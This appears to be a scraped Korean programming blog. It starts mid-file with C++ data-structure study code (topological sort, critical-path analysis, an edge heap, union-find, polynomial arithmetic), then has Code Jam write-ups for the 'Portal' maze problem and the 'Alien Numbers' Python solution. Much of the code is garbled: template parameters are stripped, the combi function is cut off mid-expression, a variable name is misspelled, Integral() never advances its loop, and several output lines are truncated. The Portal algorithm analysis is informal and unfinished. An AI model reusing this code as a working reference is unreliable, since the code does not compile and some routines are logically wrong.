for (i = 0; i < m_nCount; i++)
  if (indegree[i] == 0) queue.Put(i);
for (i = 0; i < m_nCount && !queue.IsEmpty(); i++)
{
  // queue가 비면 DAG각 아니다 (순환이 있음)
  int j = queue.Get();
  Visit(m_pVertices[j].vertex);
  POS pos = m_pVertices[j].list.GetHeadPos();
  Adj adj;
  m_pVertices[j].list.GetAt(pos,adj);
  while ( !m_pVertices[j].list.IsTail(pos))
  {
   int k = _FindVertex(adj.vertex);
   indegree[k]--;
   if (indegree[k] == 0) queue.Put(k);
   m_pVertices[j].list.GetNext(pos,adj);
  }
}
delete[] indegree;
}
template
void ListGraph::RevTopologicalSort()
{
int i;
ListQueue queue;
// outdegree 배열, 설정
int *outdegree = new int[m_nCount];
for (i = 0; i < m_nCount; i++) outdegree[i] = 0;
for (i = 0; i < m_nCount; i++)
  outdegree[i] = m_pVertices[i].list.GetCount();
for (i = 0; i < m_nCount; i++)
  if (outdegree[i] == 0) queue.Put(i);
for (i = 0; i < m_nCount && !queue.IsEmpty(); i++)
{
  // queue가 비면 DAG각 아니다 (순환이 있음)
  int j = queue.Get();
  Visit(m_pVertices[j].vertex);
  for (int k = 0; k < m_nCount; k++)
  {
   POS pos = m_pVertices[k].list.GetHeadPos();
   Adj adj;
   while ( m_pVertices[k].list.GetNext(pos,adj))
   {
    if (adj.vertex == m_pVertices[j].vertex)
    {
     outdegree[k]--;
     if (outdegree[k] == 0) queue.Put(k);
    }
   }
  }
}
delete[] outdegree;
}

/*
AOE ( Network Acitivity On Edge Network )
간선은 공정을 의미, 정점은 공정이 완료된 상태를 의미함
공정에 가중치를 주기 위해 AOE Network를 사용함

임계작업 Critical Activity
-전체 공정의 소요비용을 결정하는 작업들
   ex) ab, bc, ce, ef

  최단시간 Earliest Time
  -위상순서대로 진행하면서, 최초 정점의 earliest는 0
  -earliest(Y) = max(earlist(Xk) + cost
  최장시간 Latest Time

*/
template
void ListGraph::_CriticalActivity_forward(int *earliest)
{
int i;
ListQueue queue;
// indegree 배열, 설정
int *indegree = new int[m_nCount];
for (i = 0; i < m_nCount; i++)
{
  indegree[i] = 0;
  earliest[i] = 0;
}
for (i = 0; i < m_nCount; i++)
{
  Adj adj;
  POS pos = m_pVertices[i].list.GetHeadPos();
  while (m_pVertices[i].list.GetNext(pos, adj))
  {
   int k = _FindVertex(adj.vertex);
   indegree[k] ++;
  }
}
for (i = 0; i < m_nCount; i++)
  if (indegree[i] == 0) queue.Put(i);
for (i = 0; i < m_nCount && !queue.IsEmpty(); i++)
{
  // queue가 비면 DAG각 아니다 (순환이 있음)
  int j = queue.Get();
  Visit(m_pVertices[j].vertex);
  POS pos = m_pVertices[j].list.GetHeadPos();
  Adj adj;
  while ( m_pVertices[j].list.GetNext(pos,adj))
  {
   int k = _FindVertex(adj.vertex);
   indegree[k]--;
   if (indegree[k] == 0) queue.Put(k);
   if (earlieset[k] < earliest[j] + adj.weight)
    earliest[k] = earliest[j] + adj.weight;
  }
}
delete[] indegree;
}

template
void ListGraph::_CriticalActivity_backward(int *latest, int initial)
{
int i;
ListQueue queue;
// outdegree 배열, 설정
int *outdegree = new int[m_nCount];
for (i = 0; i < m_nCount; i++)
{
  outdegree[i] = 0;
  latest[i] = initial;
}
for (i = 0; i < m_nCount; i++)
  outdegree[i] = m_pVertices[i].list.GetCount();
for (i = 0; i < m_nCount; i++)
  if (outdegree[i] == 0) queue.Put(i);
for (i = 0; i < m_nCount && !queue.IsEmpty(); i++)
{
  // queue가 비면 DAG각 아니다 (순환이 있음)
  int j = queue.Get();
  Visit(m_pVertices[j].vertex);
  for (int k = 0; k < m_nCount; k++)
  {
   POS pos = m_pVertices[k].list.GetHeadPos();
   Adj adj;
   while ( m_pVertices[k].list.GetNext(pos,adj))
   {
    if (adj.vertex == m_pVertices[j].vertex)
    {
     outdegree[k]--;
     if (outdegree[k] == 0) queue.Put(k);
     if (latest[k] > latest[j] - adj.weight)
      latest[k] = latest[j] - adj.weight;
    }
   }
  }
}
delete[] outdegree;
}
template
void ListGraph::CriticalActivity()
{
int *earliest = new int[m_nCount];
int *latest = new int[m_nCount];

_CriticalActivity_forward(earliest);
int initial = 0;
for (int i = 0; i < m_nCount; i++) {
if (initial < earliest[i]) initial = earliest[i];
}
_CriticalActivity_backward(latest, initial);

for (i = 0; i< m_nCount; i++)
{
  POS pos = m_pVertices[i].list.GetHeadPos();
  Adj adj;
  while (m_pVertices[i].list.GetNext(pos,adj))
  {
   int e = earliest[i];
   int l = latest[_FindVertex(adj.vertex)] - adj.weight;
   if (l - e == 0)
    VisitEdge(m_pVertices[i].vertex, adj.vertex);
  }
}
delete[] earliest;
delete[] latest;
}
/*
결론
방향 그래프는
-단방향간선으로 이루어진 그래프
-Cycle이 없는 경우 DAG라고 함
-방향 그래프이면서 가중그래프인 경우 Network
방향 그래프 문제
-Reachability, Transitive Closure
-Strongly Connected Components
-Topological Sort / Reverse Topological Sort
-AOE Network and Critical Activity

class LCharGraph : public ListGraph
{
public:
LCharGraph(int nSize=100) : ListGraph(nSize){}
void Visit(const char& v) { printf("%c",v);}
void VisitEdge(const char& v1,const char& v2) { printf("%c-->%c\n",v1,v2); }
};

template class EdgeHeap
{
public:
struct Pair {
  V v1;
  V v2;
  EDGE w;
  Pair(const V& vv1, const V& vv2, EDGE ww) {
   v1 = vv1; v2 = vv2; w = ww;
  }
  Pair() { w = 0; }
};
public:
EdgeHeap(int nSize = 100) {
  m_pArray = new Pair[nSize];
  m_nArrayLen = nSize;
  m_nHeapLen = 0;
}
~EdgeHeap() { delete[] m_pArray; }
Pair& a(int k) { return m_pArray[k-1]; }
bool IsEmpty() { return m_nHeapLen == 0; }
void UpHeap(int k);
void DownHeap(int k);
bool Insert(const V& p, const V& v, EDGE w);
Pair Extract() ;
bool Update(const V& p, const V& v, EDGE w);
private:
Pair *m_pArray;
int m_nArrayLen;
int m_nHeapLen;

};
template
void EdgeHeap::UpHeap(int k)
{
Pair p = a(k);
while (p.w > a(k/2).w && k > 1) {
a(k) = a(k/2) ; k /= 2;
}
a(k) = p;
}

template
void EdgeHeap::DownHeap(int k)
{
int i; Pair p;
p = a(k);
while (k <= m_nHeapLen/2) {
  i = k * 2;
  if(i < m_nHeapLen && a(i+1).w > a(i).w) i++;
  if(p.w > a(i).w || p.w == a(i).w)break;
  a(k) = a(i);
  k = i;
}
a(k) = p;
}
template
bool EdgeHeap::Insert(const V& p, const V& v, EDGE w)
{
if(m_nHeapLen >= m_nArrayLen - 1) return false;
a(++m_nHeapLen) = Pair(p, v, w);
UpHeap(m_nHeapLen);
return true;
}
template
bool EdgeHeap::Update(const V& p, const V& v, EDGE w)
{
//vertex 찾기
for( int i = 0; i < m_nHeapLen; i++) {
  if(m_pArray[i].v2 == v && m_pArray[i].w < w) {
   m_pArray[i].w = w;
   m_pArray[i].v1 = p;
   for(int k = m_nHeapLen/2; k >= 1; k--)
    DownHeap(k);
   return true;
  }
}
return false;
}
template
EdgeHeap::Pair EdgeHeap::Extract()
{
Pair p;
p = a(1);
a(1) = a(m_nHeapLen--);
DownHeap(1);
return p;
}

/*
집합 연산 Union-Find

Find 문제
어떤 원소가 어떤 집합에 포함되는지 아닌지를 판별
Union 문제
서로 다른 두개의 집합을 하나의 집합으로 합병

상향식 트리구조로 구현하는 것이 가장 효율적

*/
template class Set
{
public:
struct Item {
  T elem;
  int parent;  // parent index
  int height;
};
public:
Set(int nSize = 100) {
  m_pArray = new Item[nSize];
  m_nArrayLen = nSize;
  m_nCount = 0;
}
~Set() { delete[] m_pArray; }
T& GetItem(int index) const { return m_pArray[index].elem; }
int GetParent(int index) const { return m_pArray[index].parent; }
int   GetIndex(const T& t) const {
  for (int i = 0; i < m_nCount; i++)
   if (m_pArray[i].elem == t) return i;
  return -1;
}
int AddSet(const T& t);
int Find(const T& t);
void Union(const T& t1, const T& t2);
void UnionByIndex(int i1, int i2);
private:
Item *m_pArray;
int m_nArrayLen;
int m_nCount;
};
template
int Set::AddSet(const T& t)
{
if (m_nCount >= m_nArrayLen) return false;
m_pArray[m_nCount].elem = t;
m_pArray[m_nCount].parent = -1;
m_pArray[m_nCount].height = 1;
return m_nCount++;
}
template
int Set::Find(const T& t)
{
for (int i = 0; i < m_nCount && m_pArray[i].elem != t; i++);
if(i >= m_nCount) return -1;
while (m_pArray[i].parent >= 0) i = m_pArray[i].parent;
return i;
}
template
void Set::Union(const T& t1, const T& t2)
{
int i1 = Find(t1);
int i2 = Find(t2);
if(i1 < 0 || i2 < 0) return;
UnionByIndex(i1,i2);
}
template
void Set::UnionByIndex(int i1, int i2)
{
if(m_pArray[i1].height > m_pArray[i2].height)
{
  m_pArray[i2].parent = i1;
} else if (m_pArray[i1].height < m_pArray[i2].height) {
  m_pArray[i1].parent = i2;
} else { // 두개의 높이가 같은 경우
  m_pArray[i2].parent = i1;
  m_pArray[i1].height++;
}
}

/*
방향그래프

도달가능성 Reachability

/*
수치해석 Numerical Analysis
다항식 Polynomial
-컴퓨터의 연산기능을 이용, 해석적으로 문제 풀이
다항식 모델링
-다항식 클래스 Polynomial
-다항식 사칙연산, 미적분
-다항식의 계산
Lagrange Interpolation
-N+1개의 점을 지나는 N차 다항식 구하기

컴퓨터와 수학
CPU Central Process Unit

정수타입
int long char
C++ 의 실수타입
float
-4byte
1비트의 부호, 8비트의 지수부, 23비트의 가수부
약 3.4E + 38까지 표현가능
double
-8Byte
1비트의 부호, 11비트의 지수부, 52비트의 가수부
SIGN | EXPONENT | MANTISSA
약 1.8E + 308까지 표현가능

   회귀분석
    입력자료를 통해 방정식 유추
   스플라인
   -Bezier, Hermite, B Spline
    선을 부드럽게 그리는 방법
*/
/*
다항식
-항(Term) : 계수와 지수로 구성됨
   *ex)

*/
class Polynomial
{
public:
struct Term {
  int exp; //지수
  double coef; //계수
};
Polynomial() {}
Polynomial(const Polynomial& p) { m_list = p.m_list; }
const Polynomial& operator=(const Polynomial& p) {
  m_list = p.m_list;
  return * this;
}

void InsertTerm(int exp, double coef);
void AddTerm(int exp, double coef);

void Print();
Polynomial operator+(const Polynomial& p);
Polynomial operator-(const Polynomial& p);
Polynomial operator*(const Polynomial& p);

void Differential();
void Integral();
double Evaluate(double x);
void Lagrange(double pt[][2], int n);
protected:
DoubleList m_list;
};
void Polynomial::AddTerm(int exp, double coef)
{
Term term,t;
term.exp = exp;
term.coef = coef;

POS pos = m_list.GetHeadPos();

while (!m_list.IsTail(pos))
{
  if (!m_list.GetAt(pos,t)) break;
  if(t.exp == term.exp)
  {
   t.coef += coef;
   if (t.coef == 0.0)
    m_list.DeleteAt(pos);
   return;
  }
  if(t.exp < term.exp) {
   m_list.InsertPrev(pos,term);
   return;
  }
  m_list.GetNext(pos,t);
}
m_list.AddTail(term);
}
void Polynomial::InsertTerm(int exp, double coef)
{
if (coef == 0.0) return;
Term term,t;
term.exp = exp; term.coef = coef;
POS pos = m_list.GetHeadPos();
while ( !m_list.IsTail(pos))
{
  if(!m_list.GetAt(pos,t)) break;

  if (t.exp == term.exp) {
   t.coef = coef;
   return;
  }
  if (t.exp < term.exp) {
   m_list.InsertPrev(pos,term);
   return;
  }
  m_list.GetNext(pos,t);
}
m_list.AddTail(term);
}
void Polynomial::Print()
{
POS pos = m_list.GetHeadPos();
Term t;
while (!m_list.IsTail(pos))
{
  m_list.GetAt(pos,t);
  printf("%dX^%d ",(int)t.coef,(int)t.exp);
  m_list.GetNext(pos,t);
}
}
Polynomial Polynomial::operator+(const Polynomial& p)
{
Polynomial r;
POS pos1 = m_list.GetHeadPos();
POS pos2 = p.m_list.GetHeadPos();
Term t1, t2;

while (!m_list.IsTail(pos1) && !p.m_list.IsTail(pos2))
{
m_list.GetAt(pos1,t1);
p.m_list.GetAt(pos2,t2);

  if (t1.exp > t2.exp) {
   r.m_list.AddTail(t1);
   m_list.GetNext(pos1,t1);
  } else if (t1.exp < t2.exp) {
   r.m_list.AddTail(t2);
   p.m_list.GetNext(pos2,t2);
  } else {
   if(t1.coef + t2.coef != 0.0) {
    t1.coef += t2.coef;
    r.m_list.AddTail(t1);
   }
   m_list.GetNext(pos1,t1);
   p.m_list.GetNext(pos2,t2);
  }
}
m_list.GetAt(pos1,t1);
while (!m_list.IsTail(pos1)) {
  r.m_list.AddTail(t1);
  m_list.GetNext(pos1,t1);
}
p.m_list.GetAt(pos2,t2);
while (!p.m_list.IsTail(pos2)) {
  r.m_list.AddTail(t2);
  p.m_list.GetNext(pos2,t2);
}
return r;

}
Polynomial Polynomial::operator-(const Polynomial& p)
{
Polynomial r;
POS pos1 = m_list.GetHeadPos();
POS pos2 = p.m_list.GetHeadPos();
Term t1, t2;

while (!m_list.IsTail(pos1) && !p.m_list.IsTail(pos2))
{
m_list.GetAt(pos1,t1);
p.m_list.GetAt(pos2,t2);

  if (t1.exp > t2.exp) {
   r.m_list.AddTail(t1);
   m_list.GetNext(pos1,t1);
  } else if (t1.exp < t2.exp) {
   r.m_list.AddTail(t2);
   p.m_list.GetNext(pos2,t2);
  } else {
   if(t1.coef - t2.coef != 0.0) {
    t1.coef -= t2.coef;
    r.m_list.AddTail(t1);
   }
   m_list.GetNext(pos1,t1);
   p.m_list.GetNext(pos2,t2);
  }
}
m_list.GetAt(pos1,t1);
while (!m_list.IsTail(pos1)) {
  r.m_list.AddTail(t1);
  m_list.GetNext(pos1,t1);
}
p.m_list.GetAt(pos2,t2);
while (!p.m_list.IsTail(pos2)) {
  r.m_list.AddTail(t2);
  p.m_list.GetNext(pos2,t2);
}
return r;
}

Polynomial Polynomial::operator*(const Polynomial& p)
{
Polynomial r;
POS pos1 = m_list.GetHeadPos();
Term t1, t2;

while (!m_list.IsTail(pos1))
{
  m_list.GetAt(pos1,t1);
  POS pos2 = p.m_list.GetHeadPos();
  p.m_list.GetAt(pos2,t2);

  while (!p.m_list.IsTail(pos2)) {
   p.m_list.GetAt(pos2,t2);
   r.AddTerm(t1.exp + t2.exp, t1.coef * t2.coef);
   p.m_list.GetNext(pos2,t2);
  }
  m_list.GetNext(pos1,t1);

}
return r;

}
//미분
void Polynomial::Differential()
{
Polynomial r;
POS pos = m_list.GetHeadPos();
Term t;
while (!m_list.IsTail(pos))
{
   m_list.GetAt(pos,t);
   if(t.exp > 0)
    r.InsertTerm(t.exp -1, t.coef*t.exp);
   m_list.GetNext(pos,t);
}
*this = r;
}
//적분
void Polynomial::Integral()
{
Polynomial r;
POS pos = m_list.GetHeadPos();
Term t;
while (!m_list.IsTail(pos))
{
  m_list.GetAt(pos,t);
  r.InsertTerm(t.exp + 1, t.coef / (t.exp +1));
}
*this = r;
}
/*
거듭제곱함수만들기
*/
double power_simple(double x, int n)
{
double r = 1.0;
while (n--) r*= x;
return r;
}
double power_recur(double x, int n)
{
if(n == 0) return 1.0;
return x* power_recur(x,n-1);
}
/*
Divde and Conquer
-곱셈의 수를 획기적으로 줄임

*/
double power_dnq(double x, int n)
{
if (n == 0) return 1.0;
if (n == 1) return x;
double half = power_dnq(x,n/2);
if(n %2 == 0) return half*half;
else return half*half*x;
}
double Polynomial::Evaluate(double x)
{
double r = 0.0;
POS pos = m_list.GetHeadPos();
Term t;
while (!m_list.IsTail(pos))
{
   m_list.GetNext(pos,t);
   r += t.coef * power_dnq(x,t.exp);
}
return r;
}

/*
Lagrange 보간법
* Lagrange Interpolation
-N+1개의 주어진 점을 지나는 N차의 다항식을 구하는 문제
-예) 네개의 점(x0,y0),(x1,y1),(x2,y2),(x3,y3)을 지나는
g(x) = a0 + a1x + a2x^2 + a3x^3를 구하는 문제

*/
double combi(double x, int n, int r)
{
if (n <= 0 || r < 0 || n if (n == r) return x;
if (r == 0) return 1;
return x[n-1]*combi(n-1,r-1) + combi(n-1, r);
}
void main(){
Polynomial poly,poly1,poly2,poly3;
// ListSeqMap listseq;

poly.AddTerm(1,3);
poly.AddTerm(2,-4);
// poly.Print();

poly.Print();
printf("%f", poly.Evaluate(1));

poly1.AddTerm(1,2);
poly1.AddTerm(2,1);

poly2 = poly * poly1;

// poly2.Print();
// poly3 = poly - poly1;
// poly3.Print();
/// listseq.Insert(2);
// listseq.Insert(4);
// listseq.Insert(5);

// printf("%d\n",listseq.GetCount());

// listseq.Remove(2);
// listseq.Remove(4);
// listseq.Remove(5);

// printf("%d\n",listseq.GetCount());

// ACharGraph ag;
// ag.AddEdge('A','B',1);
// ag.AddEdge('B','C',1);
// ag.AddEdge('C','D',3);
// ag.AddEdge('D','E',2);
// ag.AddEdge('E','F',1);

// ag.ShortestPath_Dijkstra('A');

// LCharGraph lg;
// lg.AddEdgeDir('A','B',1);
// lg.AddEdgeDir('A','D',1);
// lg.AddEdgeDir('A','C',1);
// lg.AddEdgeDir('D','F',1);
// lg.AddEdgeDir('D','C',1);
// lg.AddEdgeDir('F','D',1);
// lg.AddEdgeDir('F','E',1);
// lg.AddEdgeDir('E','A',1);
// lg.AddEdgeDir('G','D',1);
// lg.AddEdgeDir('G','J',1);
// lg.AddEdgeDir('J','F',1);
// lg.AddEdgeDir('J','K',1);
// lg.AddEdgeDir('J','I',1);
// lg.AddEdgeDir('I','G',1);
// lg.AddEdgeDir('H','G',1);
// lg.AddEdgeDir('H','I',1);

// lg.StrongConnect();
// lg.TopologicalSort();

// LCharGraph llg(lg);

// llg.DFS();
// lg.TransitiveClosure_Warshall();
// ag.DFS();
// lg.DFS_nr();
// printf("\n");
// printf("%d\n",lg.CountComponents());

// lg.MCST_Pfs();
// printf("\n");
// lg.MCST_Kruskal();
// lg.ShortestPath_Pfs('A');

// HashMap map(PersonHash(),13);
/// map.Insert(Person(5,"Heather"));
// map.Insert(Person(3,"Carlos"));
//
// Person key;
// Person rt;
// key.m_id = 3;
// if(map.Find(key,rt))
// printf("name : %s\n",rt.m_name.c_str());
// else
// printf("Not found\n");

// RadixTreeMap rtree;
// rtree.Insert(1);
// rtree.Insert(3);
// rtree.Find(1,a);
// printf("count %d\n",rtree.GetCount());
// RadixTrieMap rtrie;
// rtrie.Insert(Person(1,"Heather"));
// rtrie.Insert(Person(2,"Carlos"));

// Person key1(1,"");
// Person value;
// rtrie.Find(key1,value);
// printf("name :%s\n",value.m_name.c_str());
// printf("rtrie count: %d\n",rtrie.GetCount());
// int a[]={1,2,3,7,3,2,5};
// BinaryTreeSort(a,7);
// for(int i=0; i< 7;i++)
//  printf("%d ",a[i]);
// printf("\n");
// ParseTree tree;
// tree.BuildParseTree("A B + C D - * E / F G * +");
// tree.PreOrderTraverse();
// printf("\n");
// tree.PostOrderTraverse();
// printf("\n");
// tree.InOrderTraverse();
// printf("\n");
// tree.LevelOrderTraverse();
// printf("\n");
// ListQueue queue;
// queue.Put(1);
// queue.Put(2);
// while(!queue.IsEmpty())
//  printf("%d\n",queue.Get());
// ListStack stack;
// stack.Push(5);
// stack.Push(6);
// while(!stack.IsEmpty())
//  printf("%d\n",stack.Pop());
// printf("%d\n",stack.GetTop());
// map pmap;
// pmap.insert(make_pair(1,Person(15,"Jake")));
/// pmap.insert(make_pair(2,Person(41,"Heather")));
/// pmap.insert(make_pair(3,Person(11,"Carlos")));
// pmap.insert(make_pair(4,Person(21,"Totoro")));

// Person key;
// key.m_id = 1;
// Person value;
// pmap.find();

//printf("%s\n",value.m_name);

// ArrayStack stack(3);
// stack.Push(1);
// stack.Push(2);
// stack.Push(3);
// stack.Push(4);
// while(!stack.IsEmpty())
//  printf("%d\n",stack.Pop());
//// int a[32000],i;
// for(i = 0; i < 32000 ; i++)
//  a[i] = rand()/500;
// ShellSort(a,32000);
// if(CheckSort(a,32000))
//  printf("true\n");
// else
//  printf("false\n");
// for(i =0 ; i<32000 ; i++)
//  printf("%d\n",a[i]);
//qsord
// int a[10000];
// qsort(a,10000,sizeof(int),intcmp);

// cout<// cout<// int i[]={0,5,4,3,6,7,7};
// BubbleSort(i,8);
// for(int j = 0; j < 7 ; j++)
// {
// printf("%d\n",i[j]);
// }
}

[구글코드잼]Portal 풀이 - Round3

PigBaby — Mon, 15 Sep 2008 02:25:50 GMT

이러고있을때가 아닌데... 죽일놈의 호기심;;;
웹서핑하다가.. 구글 코드잼이란걸 알게 되었는데 연습문제 해석 및 풀이 하는데 만만치가 않았다.;;
그래서 마지막문제의 난이도를 살펴보았다.

Problem

PortalTM is a first-person puzzle/platform game developed and published by Valve Software. The idea of the game was to create two portals on walls and then jump through one portal and come out the other. This problem has a similar idea but it does not assume you have played Portal.

For this problem you find yourself in a R by C grid. Additionally there is a delicious cake somewhere else in the grid. You're very hungry and wish to arrive at the cake with as few moves as possible. You can move north, south, east or west to an empty cell. Additionally, you have the ability to create portals on walls.

To help you get to the cake you have a portal gun which can shoot two types of portals, a yellow portal and a blue portal. A portal is created by shooting your portal gun either north, south, east or west. This emits a ball of energy that creates a portal on the first wall it hits. Note that for this problem shooting the portal gun does not count as a move. If you fire your portal gun at the cake, the energy ball will go right through it.

After creating a yellow portal and a blue portal, you can move through the yellow portal to arrive at the blue portal or vice versa. Using these portals you may be able to reach the cake even faster! You can only use portals after you create both a yellow and a blue portal.

Consider the following grid:

Gray cells represent walls, white cells represent empty cells, and the red circle indicates your position.

Suppose you shoot a blue portal east. The portal is created on the first wall it hits, resulting in:

Now suppose you shoot a yellow portal south:

Next you move south once:

Now comes the interesting part. If you move south one more time you go through the yellow portal to the blue portal:

There can only be one yellow portal and one blue portal at any time. For example if you attempt to create a blue portal to the west the other blue portal will disappear:

A portal disappears only when another portal of the same color is fired.

Note that the portals are created on one side of the wall. If a wall has a portal on its east side you must move into the wall from the east to go through the portal. Otherwise you'll be moving into a wall, which is improbable.

Finally, you may not put two portals on top of each other. If you try to fire a portal at a side of a wall that already has a portal, the second portal will fail to form.

Given the maze, your initial position, and the cake's position, you want to find the minimum number of moves needed to reach the cake if it is possible. Remember that shooting the portal gun does not count as a move.

Input

The first line of input gives the number of cases, N. N test cases follow.

The first line of each test case will contain the integers R and C separated by a space. R lines follow containing C characters each, representing the map:

. indicates an empty cell;

# indicates a wall;

O indicates your starting position; and

X indicates the cake's position.

There will be exactly one O and one X character per case.

Cells outside of the grid are all walls and you may use them to create portals.

Output

For each test case you should output one line containing "Case #X: Y" (quotes for clarity) where X is the number of the test case and Y is the minimum number of moves needed to reach the cake or "THE CAKE IS A LIE" (quotes for clarity) if the cake cannot be reached.

Limits

Small dataset

N = 200

1 <= R, C <= 8

Large dataset

N = 50

1 <= R, C <= 15

Sample

Input

4 7

.O..##.

.#.....

.#.####

.#...X.

5 5

O....

.....

....X

1 3

O#X

Output

Case #1: 4

Case #2: 2

Case #3: THE CAKE IS A LIE

Here is the sequence of moves for the first case (note that shooting the portal gun does not count as a move):

Move one step east.

Shoot a blue portal north.

Shoot a yellow portal south.

Move one step north through the blue portal.

Shoot a blue portal east.

Move one step south through the yellow portal.

Move one step west.

Eat your delicious and moist cake.

PortalTM is a trademark of Valve Inc. Valve Inc. does not endorse and has no involvement with Google Code Jam.

------->>>>>풀이 in Korean<<<<<<-----------
우선 미로찾는 알고리즘을 간단히 생각해 보았다.
이름하여 프로브 알고리즘.

전제:프로브는 자기가 지나온 길의 중요포인트(시작,끝,코너) 및 전체 코너의 수와 전체이동거리를 기억한다. 자기자신을 무한히 복사할 수 있다.(기억한거 포함) - (클래스로 구현하면 될듯)
맵을 읽어들인 배열이 있다.

미로찾기 알고리즘: 프로브알고리즘 by Carlo
스텝1:시작점에 프로브를 만든다.
스텝2:모든프로브는 새로운길이 2개이상일 경우 자기자신을 하나이상 복사하여 (어떠한방향으로)한칸 전진한다.
스텝3:모든프로브의 생과사를 점검한다.
        1:충돌상황 점검: 생존의 우선순위 -- 적은전체거리>적은코너>컴퓨터저장상위랭크
        2:생존 프로브수: 0 이면 실패
        3:끝점에 도착한프로브? 있으면 성공
스텝4:Go to 스텝2

포탈사용 알고리즘: 포탈가속화알고리즘 by Carlo
전제:생존프로브는 중요 포인트, 전체 거리, 전체 코너수를 기억하고 있다.
      : Sum=0, N=0
스텝1:메모리에 기억하고있는 N,N+1번째 포인트 사의의 거리와 N,N+1번째 포인의 이동방향의 각각의 벽방향과의 거리의 합((N쪽벽과 N사이의거리)+ (N+1쪽벽과 N+1사이의 거리))과 비교하여 작은쪽으로 Sum에 더한다.
스텝2:if N+1== 전체코너+ 2 끝
스텝3:N++ Go to step1

------->>>>>Solution in English<<<<<-----------
First, I thought about sution of maze.
I call Probe Algorithm;

PREMISE:Probe can remember the past points which are star,end,corners, the number of total distance and the number of total corners. It can make ones which are the same of its with memory
there is an array of the maze map.

Maze Algorithm: Probe Algorithm by Carlo
Step1:Make the first probe at the start point.
Step2:All the probe make one more probes if there are two more new ways to go to the empty block and go one foot each direction.
Step3:Check all the probes to survive .
        1:Check collision: Priority -- Shotest distance>Least Corner>High position in computer memory
        2:Check the number of probes : if n = 0 , failure
        3:Check the probe at the end point P if there is, success
Step4:Go to Step 2

Portal Algorithm: Simple Portal Algorithm by Carlo
PREMISE:there is a probe which has the informaion.
      : Sum=0, N=0
Step1:Sum += min(distance between N's point and N+1's point, distance between N's point and opposit direction's wall + N+1's)
Step2:if N+1== total corner+ 2 : end
Step3:N++ Go to step1

--------------------->>>>>>>>>>>Analysis<<<<<<<<<<<<<<<<-----------------------------
I'm worried about the overload of the probe algorithm
so, I had to estimate the algorithm

PREMISE: there is R*C maze.
               there are two points,like start and end points.
The number of probes: N is a positive number

1
Speed: It must check all the probes per step.
            The number of the steps is R*C in simple thoutht

             There is no point in counting the number.
             Because probes and maps are limited

2root2*min(R,C)*R*C     = n

-------------------->>>>>>>>>>>구현 Implement<<<<<<<<<<<<<----------------------------
구현은 나중에 시간이 있을 때 ^^ ( 변명인가);;
이번건 자바가 편할 것 같다..;;

----------------------------------------------------------------------------------------------
읽어 주셔서 감사 ^^ 잘못된것을 발견하면 지채없어.. 댓글 부탁..
추석이 어제 지났지만

----------------------------------------------------------------------------------------------

[2008 GCJ] Practice - Alien Numbers

PigBaby — Tue, 05 Aug 2008 00:11:45 GMT

다음은 구글의 코드쨈 연습문제 및 간단;;한 풀이입니다.

Problem

The decimal numeral system is composed of ten digits, which we represent as "0123456789" (the digits in a system are written from lowest to highest). Imagine you have discovered an alien numeral system composed of some number of digits, which may or may not be the same as those used in decimal. For example, if the alien numeral system were represented as "oF8", then the numbers one through ten would be (F, 8, Fo, FF, F8, 8o, 8F, 88, Foo, FoF). We would like to be able to work with numbers in arbitrary alien systems. More generally, we want to be able to convert an arbitrary number that's written in one alien system into a second alien system.

Input

The first line of input gives the number of cases, N. N test cases follow. Each case is a line formatted as

alien_number source_language target_language

Each language will be represented by a list of its digits, ordered from lowest to highest value. No digit will be repeated in any representation, all digits in the alien number will be present in the source language, and the first digit of the alien number will not be the lowest valued digit of the source language (in other words, the alien numbers have no leading zeroes). Each digit will either be a number 0-9, an uppercase or lowercase letter, or one of the following symbols !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

Output

For each test case, output one line containing "Case #x: " followed by the alien number translated from the source language to the target language.

Limits

1 ≤ N ≤ 100.

Small dataset

1 ≤ num digits in alien_number ≤ 4,

2 ≤ num digits in source_language ≤ 16,

2 ≤ num digits in target_language ≤ 16.

Large dataset

1 ≤ alien_number (in decimal) ≤ 1000000000,

2 ≤ num digits in source_language ≤ 94,

2 ≤ num digits in target_language ≤ 94.

Sample

Input                                                       Output
4                                                             Case #1: Foo
9 0123456789 oF8                                       Case #2: 9
Foo oF8 0123456789                                   Case #3: 10011
13 0123456789abcdef 01                             Case #4: JAM!
CODE O!CDE? A?JM!.

————————————————————————————————————————

Answer

오랜만에 머리 좀 굴릴려고 하니 ㅠㅠ. 분명히 연습문제라고 써있어서 연습 해볼려고 했다.

왜 왜왜 난 반나절이나 걸린걸까.. 영어로 씌여져 있어서 그런가 ㅠㅠ

Argorithm

1. Convert alien_num made in source_lan into decimal_num

2. Convert decimal_num into destination_lan

요센 초등학교 때 배운다던 진법 문제를 반나절이나 걸려서 완성하다니 반성해본다.

import sys

def alien2dec_letter(alien_lan,alien_letter) :

i = 0

for c in alien_lan :

if alien_lan[i] == alien_letter :

return i

i += 1

return -1

def alien2dec(alien_lan,alien_num) :

n = 0

i = 1

for c in alien_num :

n += alien2dec_letter(alien_lan,c) * ( len(alien_lan) ** (len(alien_num)-i) )

i += 1

return n

def toggle_string(src) :

dst = str()

i = len(src) - 1

while 0 <= i :

dst += src [i]

i -= 1

return dst

def dec2alien(alien_lan,dec_num) :

i = 0

s = str()

while dec_num >= len(alien_lan) :

s += alien_lan[dec_num%len(alien_lan)]

dec_num /= len(alien_lan)

i += 1

s+= alien_lan[dec_num]

return toggle_string(s)

def alien2alien(alien_num,src_lan,dst_lan):

return dec2alien(dst_lan,alien2dec(src_lan,alien_num) )

def main():

# print 'carlo world'

# print alien2alien('ff','0123456789abcdef','0123456789')

if len(sys.argv) <> 3:

sys.stderr.write('usage: practice src_file dst_file\n')

sys.exit(2)

file1, file2 = sys.argv[1], sys.argv[2]

try:

FH = open(file1)

FH2 = open(file2,'wb')

i=0

for line in FH:

each_entry = list()

for s in line.strip('\n').split(' '):

each_entry.append(s)

if(len(each_entry)==3):

rtn = alien2alien(each_entry[0],each_entry[1],each_entry[2])

frtn ="Case #%d: %s\n" % (i,rtn),

print str("Case #%d: %s" % (i,rtn))

FH2.write(str("Case #%d: %s\n" % (i,rtn)))

i += 1

FH.close()

FH2.close()

except IOError:

sys.stderr.write(file1 + ': cannot open\n')

sys.exit(1)

if __name__ == '__main__':

main()

파이썬 처음 사용해 봤는데. 괜춘한 것 같다..

A-large-practice.out

문제출처:www.google.com

A-large-practice.in
A-small-practice.in
A-large-practice.out
A-small-practice.out
practice.py

OpenSource Asterisk 입문

PigBaby — Mon, 28 Apr 2008 08:52:34 GMT

OpenSourcePBX_Asterisk.doc

